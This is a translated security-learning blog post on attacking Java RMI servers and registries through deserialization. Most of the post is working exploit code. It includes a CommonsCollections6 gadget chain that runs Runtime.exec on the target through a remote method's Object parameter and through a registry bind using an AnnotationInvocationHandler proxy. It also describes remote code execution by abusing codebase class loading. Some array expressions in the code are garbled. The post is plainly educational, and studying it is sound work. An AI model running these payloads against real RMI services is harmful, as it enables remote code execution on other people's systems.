Learning and interpretation of Java RMI

Learning and interpretation of Java RMI (III) ...
Write in front
Attack RMI
END
Reference
Learning and interpretation of Java RMI (III)

Write in front

Next, this is the most interesting part of Attack RMI.

As mentioned earlier, deserialization will be used in RMI communication. Therefore, there are attack methods for the three roles of RMI: server / registry / client. Next, read and learn this part.

I quote the RMI execution flow chart of RMI in master su18's article, because learning RMI attack methods later still requires a clear understanding of the RMI execution flow

Attack RMI

Attack Server side

0x01 malicious parameter transfer

In fact, this idea is simple, that is, a method is declared in the RemoteInterface. The parameter of the method is an Object (Object type). Then, when we RMI, a user-defined malicious Object is passed in. It is serialized in the RMI communication sequence, and deserialization is triggered on the Server side. If there are some gadgets on the Server side, RCE can be realized.

Here is a point that we didn't follow in the previous article. We know that the deserialization operation is encapsulated in the unmashralValue method in RMI, which is located in rt.jar/ In sun / RMI / server / unicastref.class, parameters other than the eight basic types will eventually be deserialized (such as String, array, and encapsulated classes of basic data types such as Interger). Therefore, the parameter type of this method does not have to be Object.

Next, select the Object type

pom.xml can be RCE by adding CC or other gadgets. CC6 is used here

RemoteInterface

String attackServer(Object object) throws RemoteException;

RemoteObject

@Override public String attackServer(Object object) throws RemoteException { return "In attackServer Method!"; }

RMIClient

public class RMIClient3 { public static void main(String[] args) throws Exception { //Create registry object Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); //Print the list of remote object aliases in the registry System.out.println(Arrays.toString(registry.list())); //Get the stub of the remote object through the alias and call the method of the remote object RemoteInterface stub = (RemoteInterface) registry.lookup("Zh1z3ven"); System.out.println("[INFO] RegistryServer: " + stub.attackServer(evilObject())); } public static Object evilObject() throws Exception { Transformer Testtransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[], new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[], new Object[]}), new InvokerTransformer("exec", new Class[], new Object[]{"open -a Calculator"}) }; Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, Testtransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1"); //Overwrite the original iTransformers through reflection to prevent local execution of commands during serialization Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(Testtransformer, transformers); return hashSet; } }

The general process is

RemoteInterface Interface exists, parameter type is Object Method of Client end ==> Serialize an object as a parameter (through a reference to a remote object, or a proxy object) ==> Server end ==> Deserialize the parameter( readObject) ==> get into Gadget

One detail here is the return value of the method that generates the malicious class (Object evilObject()) The parameter types of the methods defined in the RemoteInterface and the methods defined in the RemoteInterface are both Object. There is no problem here. However, when the type of the parameter passed is inconsistent with the type we passed in, for example, the RemoteInterface interface defines type A and we passed in type B. Although they are all passed in objects, the Server side will throw an exception that the method cannot be found, because the type of the parameter passed in is different from the type we passed in Methods defined by the interface do not match.

There are four solutions, only the fourth one is repeated

  • Modify the data in the traffic layer through the network agent
  • Customize the code of "java.rmi" package and implement it by yourself
  • Bytecode modification
  • Using debugger

First, we overload the attackServer method in the RemoteInterface interface. The parameter of the method is a class (ServerObject) that does not exist on the Client side. Break the breakpoint at the invokeRemoteMethod method method of RemoteObjectInvocationHandler, change the parameter value type of the method represented by the method to ServerObject.class that exists on the server side, and then trigger deserialization.

RMI-Server/RemoteInterface

RMI-Server/RemoteObject

Comment out the contents of the previous attackServer method

RMI-Client/RemoteInterface

Write both methods and create the ServerObject class

You can try to run the Client directly first, and an exception will be thrown

Here, we set the breakpoint in the invokeRemoteMethod method in java/rmi/server/RemoteObjectInvocationHandler.java

debug, change the value of method

Pop up calculator

Look back at the limitations of this use:

  1. RemoteInterface is known and a method exists in it. The parameter type is object
  2. The template class of this object is known
  3. Deserialized gadgets exist and are available
0x02 dynamic loading

As mentioned earlier, RMI supports dynamic loading. When the corresponding class cannot be found in the local ClassPath, the class will be loaded in the specified codebase.

At that time, two scenarios were mentioned, namely, the Client side loading the Server side and the Server side loading the Client side. The Server side loading the Client side is used here.

Set the URL of RMI protocol through the java.rmi.server.codebase attribute, and let the Server end load the malicious class under the specified URL to complete RCE.

Of course, there are still prerequisites for using dynamic class loading:

  1. Set RMISecurityManager as the security manager on the Server side
  2. The value of the Server-side attribute java.rmi.server.useCodebaseOnly must be false (the default is false before JDK 6u45 and 7u21)
  3. serialVersionUID is a personal idea. How to solve the deserialization failure caused by different UIDs?

During dynamic loading, the loadClass method is used to load. class files, but the method is called on the remote Server side and the local Client side is the return value after the method is executed. How to use it?

Here's an unrealistic scenario: the method implemented in the RemoteObject on the Server side will perform a newInstance operation on the incoming remote object to trigger code execution in the static code block. Then the controllable point comes out. We construct CC poc (or any other RCE) on the remote class on the Client side to write to the static code block to achieve remote code execution orRCE.

But there are new problems:

  1. Is there really such a scene? (I don't think I can meet it in actual combat)
  2. Because the Server side only knows loadClass and does not deserialize (so the readObject operation needs to be completed in the static code block), even if we are not CC poc and just write Runtime.exec to execute the command, how to avoid triggering the command execution locally?

RemoteInterface

String attackServerLoadClass(Object object) throws RemoteException;

RemoteObject

@Override public String attackServerLoadClass(Object object) throws RemoteException { try { object.getClass().newInstance(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } return object.getClass().getName(); }

Other parts are basically no different from the previous dynamic loading code. For malicious classes, you can write CC poc or runtime.exec() in the static code block and pop calc

From this point of view, the most likely attack on the Server side is the method declared in the RemoteInterface, which takes the object as the parameter, because the Server side will deserialize the incoming parameters to RCE (a known Gadget is required)

Attack Registry

Registry is actually a Server-side binding When name is associated with a remote Object, the Server serializes and transmits the remote Object to the registry. The registry is deserializing to enter the Gadget. Of course, the bind method is only one of the points that can enter the deserialization. Similarly, there are list / lookup / bind / unbind, but the controllable parameter types are different. For example, when lookup is a controllable string type and bind is an Object, Po will be constructed C is more convenient.

RegistryServer

public class RegistryServer5 { public static void main(String[] args) { try { //Create Registry Registry registry = LocateRegistry.createRegistry(1099); //Instantiate the remote object class and create the remote object RemoteObject remoteObject = new RemoteObject(); //Bind alias and RemoteObject through Naming class Naming.bind("rmi://127.0.0.1:1099/Zh1z3ven", remoteObject); //Bind alias and RemoteObject through Naming class System.out.println("RegistryServer Start ..."); System.out.println("Registry List: " + Arrays.toString(registry.list())); } catch (Exception e) { e.printStackTrace(); } } }

AttackRegisrty

public class AttackRMIRegistry { public static void main(String[] args) throws Exception { // Use AnnotationInvocationHandler as dynamic proxy Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = aClass.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap<String, Object> map = new HashMap<String, Object>(); map.put("zh1z3ven", evilObject()); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[], invocationHandler); // Get Registry Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); registry.unbind("zh1z3ven2"); registry.bind("zh1z3ven2", remote); System.out.println("RegistryServer List: " + Arrays.toString(registry.list())); } public static Object evilObject() throws Exception { Transformer Testtransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[], new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[], new Object[]}), new InvokerTransformer("exec", new Class[], new Object[]{"open -a Calculator"}) }; Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, Testtransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1"); //Overwrite the original iTransformers through reflection to prevent local execution of commands during serialization Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(Testtransformer, transformers); return hashSet; } }

END

Of course, there are many techniques that are not recorded here, such as deserialization of DGC layer, attack on Client side, bypass jep290, RMI related gadgets, and interpretation of BaRMIe tools. They have not been analyzed later. I feel it hard to learn RMI. Here are some reference articles for interested masters to study in depth.

1 November 2021, 11:05 | Views: 4506

Add new comment

For adding a comment, please log in
or create account

0 comments